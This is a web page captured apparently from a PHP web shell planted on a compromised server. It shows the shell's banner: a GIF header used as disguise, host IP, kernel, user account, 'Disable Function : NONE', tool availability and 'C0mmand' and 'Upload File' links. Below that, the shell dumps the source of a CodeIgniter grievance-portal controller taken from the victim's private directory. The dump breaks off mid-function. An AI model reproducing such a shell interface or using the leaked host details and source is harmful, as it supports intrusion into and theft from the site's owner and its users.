GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.145.97.235
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../grievance/application/libraries/../controllers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../grievance/application/libraries/../controllers/Grievance.php
<?php

/**
 * Controller Class For Handling All Requests Related To Grievance
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Grievance extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->helper('url');
        $this->load->library('session');
        $this->load->helper('form');
        $this->load->library('form_validation');
        $this->load->model('GrievanceCategoryManagement');
        $this->load->model('GCAllotManagement');
        $this->load->model('GrievanceManagement');
        $this->load->model('GrievanceLogManagement');
        $this->load->model("UserManagement");
        $this->load->model("CourseManagement");
    }

    public function index() {
        if ($this->session->userdata('logged_in')) {
            if (($this->session->userdata("role") == "NA") && ($this->session->userdata('type') == "S" || $this->session->userdata('type') == "P" || $this->session->userdata('type') == "F" || $this->session->userdata('type') == "N")) {
                $viewData['grievances'] = $this->GrievanceManagement->getGrvncByUserForListing($this->session->userdata("id"))->result();
                $viewData['title'] = "My Grievances";
                $viewData['submitBtn'] = TRUE;
                $this->load->view('grievances', $viewData);
            } else if (($this->session->userdata("role") == "GCM" || $this->session->userdata("role") == "MGMT") && ($this->session->userdata('type') == "NA")) {
                $viewData['isMemberDisabled'] = TRUE;
                $viewData['non_del_gcatgs'] = $this->GCAllotManagement->getAllottedGCToUserFullInfo($this->session->userdata('id'))->result();
                $viewData['non_del_users'] = $this->UserManagement->getNonDeletedGCellAndMgmntMembers($this->session->userdata('inst_id'))->result();
                $viewData['grievances'] = $this->GrievanceManagement->getAllotteGrievancesOnly($this->session->userdata('id'))->result();
                $viewData['title'] = "Assigned Grievances Report (Detailed)";
                $viewData['submitBtn'] = FALSE;
                $this->load->view('grievances', $viewData);
            } else {
                $viewData['isMemberDisabled'] = FALSE;
                $viewData['non_del_gcatgs'] = $this->GrievanceCategoryManagement->getNonDeletedGrievanceCategoriesOfInstitute($this->session->userdata('inst_id'))->result();
                $viewData['non_del_users'] = $this->UserManagement->getNonDeletedGCellAndMgmntMembers($this->session->userdata('inst_id'))->result();
                $viewData['grievances'] = $this->GrievanceManagement->getAllGrievances()->result();
                $viewData['title'] = "All Grievances Report (Detailed)";
                $viewData['submitBtn'] = FALSE;
                $this->load->view('grievances', $viewData);
            }
        } else {
            redirect("Home/");
        }
    }

    public function filterDetailedGrievanceReport() {
        if ($this->session->userdata('logged_in')) {
            if (($this->session->userdata("role") == "GCM" || $this->session->userdata("role") == "MGMT") && ($this->session->userdata('type') == "NA")) {
                $gcm_id = (trim($this->input->post('grvncCatg')) == "") ? "" : $this->input->post('grvncCatg');
                $grvnc_status = (trim($this->input->post('grvncStatus')) == "") ? "" : $this->input->post('grvncStatus');
                $gcMgMember = (trim($this->input->post('gcMgMember')) == "") ? "" : $this->input->post('gcMgMember');
                $startDate = (trim($this->input->post('dateRangeFrom')) == "") ? "" : date("Y-m-d H:i:s", strtotime($this->input->post('dateRangeFrom')));
                $endDate = (trim($this->input->post('dateRangeTill')) == "") ? "" : date("Y-m-d 23:59:59", strtotime($this->input->post('dateRangeTill')));
                $this->session->set_flashdata('selected_gcm_id', $gcm_id);
                $this->session->set_flashdata('selected_member', $gcMgMember);
                $viewData['isMemberDisabled'] = TRUE;
                $viewData['non_del_gcatgs'] = $this->GCAllotManagement->getAllottedGCToUserFullInfo($this->session->userdata('id'))->result();
                $viewData['non_del_users'] = $this->UserManagement->getNonDeletedGCellAndMgmntMembers($this->session->userdata('inst_id'))->result();
                $viewData['grievances'] = $this->GrievanceManagement->getGrievancesByFilters($gcm_id, $grvnc_status, $gcMgMember, $startDate, $endDate, $this->session->userdata("role"), $this->session->userdata("id"))->result();
                $viewData['title'] = "Assigned Grievances Report (Detailed)";
                $viewData['submitBtn'] = FALSE;
                $this->load->view('grievances', $viewData);
            } else {
                $gcm_id = (trim($this->input->post('grvncCatg')) == "") ? "" : $this->input->post('grvncCatg');
                $grvnc_status = (trim($this->input->post('grvncStatus')) == "") ? "" : $this->input->post('grvncStatus');
                $gcMgMember = (trim($this->input->post('gcMgMember')) == "") ? "" : $this->input->post('gcMgMember');
                $startDate = (trim($this->input->post('dateRangeFrom')) == "") ? "" : date("Y-m-d H:i:s", strtotime($this->input->post('dateRangeFrom')));
                $endDate = (trim($this->input->post('dateRangeTill')) == "") ? "" : date("Y-m-d 23:59:59", strtotime($this->input->post('dateRangeTill')));
                $this->session->set_flashdata('selected_gcm_id', $gcm_id);
                $this->session->set_flashdata('selected_member', $gcMgMember);
                $viewData['isMemberDisabled'] = FALSE;
                $viewData['non_del_gcatgs'] = $this->GrievanceCategoryManagement->getNonDeletedGrievanceCategoriesOfInstitute($this->session->userdata('inst_id'))->result();
                $viewData['non_del_users'] = $this->UserManagement->getNonDeletedGCellAndMgmntMembers($this->session->userdata('inst_id'))->result();
                $viewData['grievances'] = $this->GrievanceManagement->getGrievancesByFilters($gcm_id, $grvnc_status, $gcMgMember, $startDate, $endDate, $this->session->userdata("role"), $this->session->userdata("id"))->result();
                $viewData['title'] = "All Grievances Report (Detailed)";
                $viewData['submitBtn'] = FALSE;
                $this->load->view('grievances', $viewData);
            }
        } else {
            redirect("Home/");
        }
    }

    public function grievanceListing($status) {
        if ($this->session->userdata('logged_in')) {
            if ($status == "res") {
                if (($this->session->userdata("role") == "NA") && ($this->session->userdata('type') == "S" || $this->session->userdata('type') == "P" || $this->session->userdata('type') == "F" || $this->session->userdata('type') == "N")) {
                    $viewData['grievances'] = $this->GrievanceManagement->getGrvncByUserForListing($this->session->userdata("id"), "R")->result();
                    $viewData['title'] = "My Resolved Grievances";
                    $viewData['submitBtn'] = TRUE;
                    $this->load->view('grievances_listing', $viewData);
                } else if (($this->session->userdata("role") == "GCM" || $this->session->userdata("role") == "MGMT") && ($this->session->userdata('type') == "NA")) {
                    $viewData['grievances'] = $this->GrievanceManagement->getAllotteGrievancesOnly($this->session->userdata('id'), "R")->result();
                    $viewData['title'] = "Resolved Grievances";
                    $viewData['submitBtn'] = FALSE;
                    $this->load->view('grievances_listing', $viewData);
                } else {
                    $viewData['grievances'] = $this->GrievanceManagement->getAllGrievances("R")->result();
                    $viewData['title'] = "All Resolved Grievances";
                    $viewData['submitBtn'] = FALSE;
                    $this->load->view('grievances_listing', $viewData);
                }
            } else {
                if (($this->session->userdata("role") == "NA") && ($this->session->userdata('type') == "S" || $this->session->userdata('type') == "P" || $this->session->userdata('type') == "F" || $this->session->userdata('type') == "N")) {
                    $viewData['grievances'] = $this->GrievanceManagement->getGrvncByUserForListing($this->session->userdata("id"), $status)->result();
                    $viewData['title'] = "My Pending/In-Progress Grievances";
                    $viewData['submitBtn'] = TRUE;
                    $this->load->view('grievances_listing', $viewData);
                } else if (($this->session->userdata("role") == "GCM" || $this->session->userdata("role") == "MGMT") && ($this->session->userdata('type') == "NA")) {
                    $viewData['grievances'] = $this->GrievanceManagement->getAllotteGrievancesOnly($this->session->userdata('id'), $status)->result();
                    $viewData['title'] = "Pending/In-Progress Grievances";
                    $viewData['submitBtn'] = FALSE;
                    $this->load->view('grievances_listing', $viewData);
                } else {
                    $viewData['grievances'] = $this->GrievanceManagement->getAllGrievances($status)->result();
                    $viewData['title'] = "All Pending/In-Progress Grievances";
                    $viewData['submitBtn'] = FALSE;
                    $this->load->view('grievances_listing', $viewData);
                }
            }
        } else {
            redirect("Home/");
        }
    }

    public function consolidateGrievance() {
        if ($this->session->userdata('logged_in')) {
            $viewData['submitBtn'] = FALSE;
            $viewData['isMemberDisabled'] = FALSE;
            $viewData['non_del_gcatgs'] = $this->GrievanceCategoryManagement->getNonDeletedGrievanceCategoriesOfInstitute($this->session->userdata('inst_id'))->result();
            $viewData['non_del_users'] = $this->UserManagement->getNonDeletedGCellAndMgmntMembers($this->session->userdata('inst_id'))->result();
            /* Setting Report Data */
            $viewData['grvnc_category'] = "All";
            $viewData['submitted_status'] = "All";
            $viewData['submitted_member'] = "All";
            $viewData['submission_range'] = "NA/NA";
            $viewData['grievance_count'] = $this->GrievanceManagement->getGrievancesCountByFilters('', '', '', '', '', $this->session->userdata("role"), $this->session->userdata("id"))->result()[0]->totalGrievances;
            $this->load->view('consolidatedGrievances', $viewData);
        } else {
            redirect("Home/");
        }
    }

    public function filterConsolidatedGrievanceReport() {
        if ($this->session->userdata('logged_in')) {
            $gcm_id = (trim($this->input->post('grvncCatg')) == "") ? "" : $this->input->post('grvncCatg');
            $grvnc_status = (trim($this->input->post('grvncStatus')) == "") ? "" : $this->input->post('grvncStatus');
            $gcMgMember = (trim($this->input->post('gcMgMember')) == "") ? "" : $this->input->post('gcMgMember');
            $startDate = (trim($this->input->post('dateRangeFrom')) == "") ? "" : date("Y-m-d H:i:s", strtotime($this->input->post('dateRangeFrom')));
            $endDate = (trim($this->input->post('dateRangeTill')) == "") ? "" : date("Y-m-d 23:59:59", strtotime($this->input->post('dateRangeTill')));
            $submittedFromDate = (trim($this->input->post('dateRangeFrom')) == "") ? "NA" : date("d-m-Y", strtotime($this->input->post('dateRangeFrom')));
            $submittedEndDate = (trim($this->input->post('dateRangeTill')) == "") ? "NA" : date("d-m-Y", strtotime($this->input->post('dateRangeTill')));
            $this->session->set_flashdata('selected_gcm_id', $gcm_id);
            $this->session->set_flashdata('selected_member', $gcMgMember);
            $viewData['submitBtn'] = FALSE;
            $viewData['isMemberDisabled'] = FALSE;
            $viewData['non_del_gcatgs'] = $this->GrievanceCategoryManagement->getNonDeletedGrievanceCategoriesOfInstitute($this->session->userdata('inst_id'))->result();
            $viewData['non_del_users'] = $this->UserManagement->getNonDeletedGCellAndMgmntMembers($this->session->userdata('inst_id'))->result();
            /* Setting Report Data */
            $viewData['grvnc_category'] = trim(($this->input->post('grvncCatg')) == "") ? "All" : $this->GrievanceCategoryManagement->getGrievanceCategoryInfoById($gcm_id)->result()[0]->gcm_title;
            if ($grvnc_status == "P") {
                $viewData['submitted_status'] = "Pending";
            } else if ($grvnc_status == "A") {
                $viewData['submitted_status'] = "Acknowledged";
            } else if ($grvnc_status == "V") {
                $viewData['submitted_status'] = "Viewed";
            } else if ($grvnc_status == "IP") {
                $viewData['submitted_status'] = "In-Progress";
            } else if ($grvnc_status == "R") {
                $viewData['submitted_status'] = "Resolved/Closed";
            } else if ($grvnc_status == "DL") {
                $viewData['submitted_status'] = "Refused";
            } else if ($grvnc_status == "RE") {
                $viewData['submitted_status'] = "Re-Opened";
            } else {
                $viewData['submitted_status'] = "All";
            }
            $viewData['submitted_member'] = (trim($this->input->post('gcMgMember')) == "") ? "All" : $this->UserManagement->getOnlyGCellMgmtMembersFullInfoBy($this->input->post('gcMgMember'))->result()[0]->cau_first_name . " " . $this->UserManagement->getOnlyGCellMgmtMembersFullInfoBy($this->input->post('gcMgMember'))->result()[0]->cau_last_name;
            $viewData['submission_range'] = $submittedFromDate . "/" . $submittedEndDate;
            $viewData['grievance_count'] = $this->GrievanceManagement->getGrievancesCountByFilters($gcm_id, $grvnc_status, $gcMgMember, $startDate, $endDate, $this->session->userdata("role"), $this->session->userdata("id"))->result()[0]->totalGrievances;
            $this->load->view('consolidatedGrievances', $viewData);
        } else {
            redirect("Home/");
        }
    }

    public function submitGrievance() {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "NA") && ($this->session->userdata('type') == "S" || $this->session->userdata('type') == "P" || $this->session->userdata('type') == "F" || $this->session->userdata('type') == "N")) {
            $viewData['non_del_actv_gcatgs'] = $this->GrievanceCategoryManagement->getNonDeletedActiveGrievanceCategoriesOfInstitute($this->session->userdata('inst_id'))->result();
            $this->load->view('add_grievance', $viewData);
        } else {
            redirect("Home/");
        }
    }

    public function saveGrievance() {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "NA") && ($this->session->userdata('type') == "S" || $this->session->userdata('type') == "P" || $this->session->userdata('type') == "F" || $this->session->userdata('type') == "N")) {
            $this->form_validation->set_rules('gCategory', 'Grievance Category', 'required', array('required' => 'Please Select Grievance Category.'));
            $this->form_validation->set_rules('gSubject', 'Grievance Subject', 'trim|required', array('required' => 'Grievance Subject Is Required.'));
            $this->form_validation->set_rules('gDesc', 'Grievance Description', 'trim|required', array('required' => 'Grievance Description Is Required.'));
            if ($this->form_validation->run() == FALSE) {
                $this->submitGrievance();
            } else {
                $newGrievanceInfo = array(
                    'gm_subject' => $this->input->post('gSubject'),
                    'gm_description' => $this->input->post('gDesc'),
                    'gcm_id' => $this->input->post('gCategory'),
                    'gm_submitted_by' => $this->session->userdata('id'),
                    'gm_submitted_on' => date("Y-m-d H:i:s"),
                    'gm_updated_on' => date("Y-m-d H:i:s")
                );
                if ($this->session->userdata('role') == "NA" && $this->session->userdata('type') == "S") {
                    $stuInfo = $this->UserManagement->getUserInfoById($this->session->userdata('id'))->result()[0];
                    $newGrievanceInfo['gm_course_id'] = $stuInfo->course_id;
                    $newGrievanceInfo['gm_course_ysem'] = $stuInfo->cau_course_ysem;
                }
                if (empty($_FILES['gFileOne']['name']) && empty($_FILES['gFileTwo']['name'])) {
                    $this->db->trans_start();
                    $gm_id = $this->GrievanceManagement->createNewGrievance($newGrievanceInfo);
                    if ($gm_id) {
                        $gm_disp_id = $this->generateGrievanceDispId($gm_id);
                        $updateGMDispId = array(
                            'gm_id' => $gm_id,
                            'gm_disp_id' => $gm_disp_id
                        );
                        $submitLogInfo = array(
                            'grl_remark' => "Grievance Submitted",
                            'grl_reply' => "NA",
                            'grl_status' => 'P',
                            'grl_action_taken_on' => date("Y-m-d H:i:s"),
                            'grl_action_taken_by' => $this->session->userdata('id'),
                            'grl_delete_status' => "F",
                            'grl_action_updated_on' => date("Y-m-d H:i:s"),
                            'grl_action_updated_by' => $this->session->userdata('id'),
                            'gm_id' => $gm_id
                        );
                        if ($this->GrievanceManagement->updateGrievanceInfo($updateGMDispId)) {
                            if ($this->GrievanceLogManagement->createGrievanceLog($submitLogInfo)) {
                                $this->db->trans_complete();
                                $this->session->set_flashdata('successMessage', 'Grievance Submitted Successfully.');
                                redirect("Grievance");
                            } else {
                                $this->session->set_flashdata('errorMessage', 'An Error Occured While Logging Your Action. Try Later.');
                                $this->submitGrievance();
                            }
                        } else {
                            $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Submitting Grievance Info. Try Later.');
                            $this->submitGrievance();
                        }
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Submitting Grievance Info. Try Later.');
                        $this->submitGrievance();
                    }
                } else if (!empty($_FILES['gFileOne']['name']) && empty($_FILES['gFileTwo']['name'])) {
                    $fileOneNameAndPath = "";
                    $configProfileImg['upload_path'] = './assets/grvnc_files/';
                    $configProfileImg['allowed_types'] = 'jpeg|jpg|png|webp|doc|docx|pdf';
                    $configProfileImg['max_size'] = '1024';
                    $configProfileImg['file_ext_tolower'] = TRUE;
                    $configProfileImg['encrypt_name'] = TRUE;
                    $this->load->library('upload', $configProfileImg);
                    if (!$this->upload->do_upload('gFileOne')) {
                        $this->session->set_flashdata('errorMessage', "The File Can Not Be Uploaded As It Do Not Fulfill Grievance File Criteria. File Size 1 MB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp,*.doc,*.docx,*.pdf");
                        $this->submitGrievance();
                    } else {
                        $fileOneNameAndPath = "assets/grvnc_files/" . $this->upload->data()['file_name'];
                        $newGrievanceInfo['gm_file_one'] = $fileOneNameAndPath;
                        $this->db->trans_start();
                        $gm_id = $this->GrievanceManagement->createNewGrievance($newGrievanceInfo);
                        if ($gm_id) {
                            $gm_disp_id = $this->generateGrievanceDispId($gm_id);
                            $updateGMDispId = array(
                                'gm_id' => $gm_id,
                                'gm_disp_id' => $gm_disp_id
                            );
                            $submitLogInfo = array(
                                'grl_remark' => "Grievance Submitted",
                                'grl_reply' => "NA",
                                'grl_status' => 'P',
                                'grl_action_taken_on' => date("Y-m-d H:i:s"),
                                'grl_action_taken_by' => $this->session->userdata('id'),
                                'grl_delete_status' => "F",
                                'grl_action_updated_on' => date("Y-m-d H:i:s"),
                                'grl_action_updated_by' => $this->session->userdata('id'),
                                'gm_id' => $gm_id
                            );
                            if ($this->GrievanceManagement->updateGrievanceInfo($updateGMDispId)) {
                                if ($this->GrievanceLogManagement->createGrievanceLog($submitLogInfo)) {
                                    $this->db->trans_complete();
                                    $this->session->set_flashdata('successMessage', 'Grievance Submitted Successfully.');
                                    redirect("Grievance");
                                } else {
                                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Logging Your Action. Try Later.');
                                    $this->submitGrievance();
                                }
                            } else {
                                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Submitting Grievance Info. Try Later.');
                                $this->submitGrievance();
                            }
                        } else {
                            $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Submitting Grievance Info. Try Later.');
                            $this->submitGrievance();
                        }
                    }
                } else if (empty($_FILES['gFileOne']['name']) && !empty($_FILES['gFileTwo']['name'])) {
                    $fileTwoNameAndPath = "";
                    $configProfileImg['upload_path'] = './assets/grvnc_files/';
                    $configProfileImg['allowed_types'] = 'jpeg|jpg|png|webp|doc|docx|pdf';
                    $configProfileImg['max_size'] = '1024';
                    $configProfileImg['file_ext_tolower'] = TRUE;
                    $configProfileImg['encrypt_name'] = TRUE;
                    $this->load->library('upload', $configProfileImg);
                    if (!$this->upload->do_upload('gFileTwo')) {
                        $this->session->set_flashdata('errorMessage', "The File Can Not Be Uploaded As It Do Not Fulfill Grievance File Criteria. File Size 1 MB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp,*.doc,*.docx,*.pdf");
                        $this->submitGrievance();
                    } else {
                        $fileTwoNameAndPath = "assets/grvnc_files/" . $this->upload->data()['file_name'];
                        $newGrievanceInfo['gm_file_two'] = $fileTwoNameAndPath;
                        $this->db->trans_start();
                        $gm_id = $this->GrievanceManagement->createNewGrievance($newGrievanceInfo);
                        if ($gm_id) {
                            $gm_disp_id = $this->generateGrievanceDispId($gm_id);
                            $updateGMDispId = array(
                                'gm_id' => $gm_id,
                                'gm_disp_id' => $gm_disp_id
                            );
                            $submitLogInfo = array(
                                'grl_remark' => "Grievance Submitted",
                                'grl_reply' => "NA",
                                'grl_status' => 'P',
                                'grl_action_taken_on' => date("Y-m-d H:i:s"),
                                'grl_action_taken_by' => $this->session->userdata('id'),
                                'grl_delete_status' => "F",
                                'grl_action_updated_on' => date("Y-m-d H:i:s"),
                                'grl_action_updated_by' => $this->session->userdata('id'),
                                'gm_id' => $gm_id
                            );
                            if ($this->GrievanceManagement->updateGrievanceInfo($updateGMDispId)) {
                                if ($this->GrievanceLogManagement->createGrievanceLog($submitLogInfo)) {
                                    $this->db->trans_complete();
                                    $this->session->set_flashdata('successMessage', 'Grievance Submitted Successfully.');
                                    redirect("Grievance");
                                } else {
                                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Logging Your Action. Try Later.');
                                    $this->submitGrievance();
                                }
                            } else {
                                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Submitting Grievance Info. Try Later.');
                                $this->submitGrievance();
                            }
                        } else {
                            $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Submitting Grievance Info. Try Later.');
                            $this->submitGrievance();
                        }
                    }
                } else {
                    $fileOneNameAndPath = "";
                    $configProfileImg['upload_path'] = './assets/grvnc_files/';
                    $configProfileImg['allowed_types'] = 'jpeg|jpg|png|webp|doc|docx|pdf';
                    $configProfileImg['max_size'] = '1024';
                    $configProfileImg['file_ext_tolower'] = TRUE;
                    $configProfileImg['encrypt_name'] = TRUE;
                    $this->load->library('upload', $configProfileImg);
                    if (!$this->upload->do_upload('gFileOne')) {
                        $this->session->set_flashdata('errorMessage', "The File Can Not Be Uploaded As It Do Not Fulfill Grievance File Criteria. File Size 1 MB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp,*.doc,*.docx,*.pdf");
                        $this->submitGrievance();
                    } else {
                        $fileOneNameAndPath = "assets/grvnc_files/" . $this->upload->data()['file_name'];
                        $fileTwoNameAndPath = "";
                        $configProfileImg['upload_path'] = './assets/grvnc_files/';
                        $configProfileImg['allowed_types'] = 'jpeg|jpg|png|webp|doc|docx|pdf';
                        $configProfileImg['max_size'] = '1024';
                        $configProfileImg['file_ext_tolower'] = TRUE;
                        $configProfileImg['encrypt_name'] = TRUE;
                        $this->load->library('upload', $configProfileImg);
                        if (!$this->upload->do_upload('gFileTwo')) {
                            $this->session->set_flashdata('errorMessage', "The File Can Not Be Uploaded As It Do Not Fulfill Grievance File Criteria. File Size 1 MB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp,*.doc,*.docx,*.pdf");
                            $this->submitGrievance();
                        } else {
                            $fileTwoNameAndPath = "assets/grvnc_files/" . $this->upload->data()['file_name'];
                            $newGrievanceInfo['gm_file_one'] = $fileOneNameAndPath;
                            $newGrievanceInfo['gm_file_two'] = $fileTwoNameAndPath;
                            $this->db->trans_start();
                            $gm_id = $this->GrievanceManagement->createNewGrievance($newGrievanceInfo);
                            if ($gm_id) {
                                $gm_disp_id = $this->generateGrievanceDispId($gm_id);
                                $updateGMDispId = array(
                                    'gm_id' => $gm_id,
                                    'gm_disp_id' => $gm_disp_id
                                );
                                $submitLogInfo = array(
                                    'grl_remark' => "Grievance Submitted",
                                    'grl_reply' => "NA",
                                    'grl_status' => 'P',
                                    'grl_action_taken_on' => date("Y-m-d H:i:s"),
                                    'grl_action_taken_by' => $this->session->userdata('id'),
                                    'grl_delete_status' => "F",
                                    'grl_action_updated_on' => date("Y-m-d H:i:s"),
                                    'grl_action_updated_by' => $this->session->userdata('id'),
                                    'gm_id' => $gm_id
                                );
                                if ($this->GrievanceManagement->updateGrievanceInfo($updateGMDispId)) {
                                    if ($this->GrievanceLogManagement->createGrievanceLog($submitLogInfo)) {
                                        $this->db->trans_complete();
                                        $this->session->set_flashdata('successMessage', 'Grievance Submitted Successfully.');
                                        redirect("Grievance");
                                    } else {
                                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Logging Your Action. Try Later.');
                                        $this->submitGrievance();
                                    }
                                } else {
                                    $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Submitting Grievance Info. Try Later.');
                                    $this->submitGrievance();
                                }
                            } else {
                                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Submitting Grievance Info. Try Later.');
                                $this->submitGrievance();
                            }
                        }
                    }
                }
            }
        } else {
            redirect("Home/");
        }
    }

    public function generateGrievanceDispId($gm_id) {
        return "GR" . $this->session->userdata('inst_id') . "P" . $gm_id . "OL" . $this->session->userdata("id");
    }

    public function deleteGrievance($gm_id) {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "NA") && ($this->session->userdata('type') == "S" || $this->session->userdata('type') == "P" || $this->session->userdata('type') == "F" || $this->session->userdata('type') == "N")) {
            $grievanceDeleteData = array(
                'gm_id' => $gm_id,
                'gm_updated_on' => date("Y-m-d H:i:s"),
                'gm_delete_status' => 'T'
            );
            $deleteLogInfo = array(
                'grl_remark' => "Grievance Took Down By The User Himself",
                'grl_reply' => "NA",
                'grl_status' => 'D',
                'grl_action_taken_on' => date("Y-m-d H:i:s"),
                'grl_action_taken_by' => $this->session->userdata('id'),
                'grl_delete_status' => "F",
                'grl_action_updated_on' => date("Y-m-d H:i:s"),
                'grl_action_updated_by' => $this->session->userdata('id'),
                'gm_id' => $gm_id
            );
            $grvnInfo = $this->GrievanceManagement->getGrievanceInfoById($gm_id)->result()[0];
            if ($grvnInfo->gm_current_status == "P") {
                $this->db->trans_start();
                if ($this->GrievanceManagement->updateGrievanceInfo($grievanceDeleteData)) {
                    if ($this->GrievanceLogManagement->createGrievanceLog($deleteLogInfo)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Grievance Deleted Successfully.');
                        redirect("Grievance");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Logging Your Action. Try Later.');
                        redirect("Grievance");
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Grievance. Try Later.');
                    redirect("Grievance");
                }
            } else {
                $this->session->set_flashdata('errorMessage', 'This Grievance Can Not Be Deleted. Some Action Has Already Been Taked By Admin.');
                redirect("Grievance");
            }
        } else {
            redirect("Home/");
        }
    }

    public function reOpenGrievance($gm_id) {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "NA") && ($this->session->userdata('type') == "S" || $this->session->userdata('type') == "P" || $this->session->userdata('type') == "F" || $this->session->userdata('type') == "N")) {
            $grievanceReopenData = array(
                'gm_id' => $gm_id,
                'gm_updated_on' => date("Y-m-d H:i:s"),
                'gm_current_status' => 'RE',
                'gm_viewed_by' => NULL,
                'gm_viewed_on' => NULL,
                'gm_acknowledge_by' => NULL,
                'gm_acknowledge_on' => NULL,
                'gm_locked_by' => NULL,
                'gm_locked_on' => NULL,
                'gm_resolved_by' => NULL,
                'gm_resolved_on' => NULL
            );
            $reOpenLogInfo = array(
                'grl_remark' => "Re-Opened",
                'grl_reply' => "NA",
                'grl_status' => 'RE',
                'grl_action_taken_on' => date("Y-m-d H:i:s"),
                'grl_action_taken_by' => $this->session->userdata('id'),
                'grl_delete_status' => "F",
                'grl_action_updated_on' => date("Y-m-d H:i:s"),
                'grl_action_updated_by' => $this->session->userdata('id'),
                'gm_id' => $gm_id
            );
            $grvnInfo = $this->GrievanceManagement->getGrievanceInfoById($gm_id)->result()[0];
            if ($grvnInfo->gm_current_status == "R" || $grvnInfo->gm_current_status == "DL") {
                $this->db->trans_start();
                if ($this->GrievanceManagement->updateGrievanceInfo($grievanceReopenData)) {
                    if ($this->GrievanceLogManagement->createGrievanceLog($reOpenLogInfo)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Grievance Re-Opened Successfully.');
                        redirect("Grievance");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Logging Your Action. Try Later.');
                        redirect("Grievance");
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Re-Opening Grievance. Try Later.');
                    redirect("Grievance");
                }
            } else {
                $this->session->set_flashdata('errorMessage', 'This Grievance Can Not Be Re-Opened.');
                redirect("Grievance");
            }
        } else {
            redirect("Home/");
        }
    }

    public function lockGrievance($gm_id, $lockStatus) {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('type') == "NA") && ($this->session->userdata('role') == "GCM" || $this->session->userdata('role') == "MGMT")) {
            if ($lockStatus) {
                $grievanceLockData = array(
                    'gm_id' => $gm_id,
                    'gm_locked_on' => date("Y-m-d H:i:s"),
                    'gm_locked_by' => $this->session->userdata('id')
                );
                $lockLogInfo = array(
                    'grl_remark' => "Locked",
                    'grl_reply' => "NA",
                    'grl_status' => 'V',
                    'grl_action_taken_on' => date("Y-m-d H:i:s"),
                    'grl_action_taken_by' => $this->session->userdata('id'),
                    'grl_delete_status' => "F",
                    'grl_action_updated_on' => date("Y-m-d H:i:s"),
                    'grl_action_updated_by' => $this->session->userdata('id'),
                    'gm_id' => $gm_id
                );
            } else {
                $grievanceLockData = array(
                    'gm_id' => $gm_id,
                    'gm_locked_on' => NULL,
                    'gm_locked_by' => NULL,
                    'gm_current_status' => 'V',
                    'gm_acknowledge_on' => NULL,
                    'gm_acknowledge_by' => NULL
                );
                $lockLogInfo = array(
                    'grl_remark' => "Un-Locked",
                    'grl_reply' => "NA",
                    'grl_status' => 'V',
                    'grl_action_taken_on' => date("Y-m-d H:i:s"),
                    'grl_action_taken_by' => $this->session->userdata('id'),
                    'grl_delete_status' => "F",
                    'grl_action_updated_on' => date("Y-m-d H:i:s"),
                    'grl_action_updated_by' => $this->session->userdata('id'),
                    'gm_id' => $gm_id
                );
            }
            $this->db->trans_start();
            $grvnInfo = $this->GrievanceManagement->getGrievanceInfoById($gm_id)->result()[0];
            if ($grvnInfo->gm_locked_by == NULL || $grvnInfo->gm_locked_by == $this->session->userdata('id')) {
                if ($this->GrievanceManagement->updateGrievanceInfo($grievanceLockData)) {
                    if ($this->GrievanceLogManagement->createGrievanceLog($lockLogInfo)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Grievance Lock Status Changed Successfully.');
                        redirect("Grievance/grievanceListing/pi");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Logging Your Action. Try Later.');
                        redirect("Grievance/grievanceListing/pi");
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Lock Status Of Grievance. Try Later.');
                    redirect("Grievance/grievanceListing/pi");
                }
            } else {
                $this->session->set_flashdata('errorMessage', 'Grievance Can Not Be Locked As It Has Already Been Locked By Some Other User.');
                redirect("Grievance/grievanceListing/pi");
            }
        } else {
            redirect("Home/");
        }
    }

    public function acknowledgeGrievance($gm_id) {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('type') == "NA") && ($this->session->userdata('role') == "GCM" || $this->session->userdata('role') == "MGMT")) {
            $grievanceAcknowledgeData = array(
                'gm_id' => $gm_id,
                'gm_current_status' => 'A',
                'gm_acknowledge_on' => date("Y-m-d H:i:s"),
                'gm_acknowledge_by' => $this->session->userdata('id')
            );
            $this->db->trans_start();
            $grvnInfo = $this->GrievanceManagement->getGrievanceInfoById($gm_id)->result()[0];
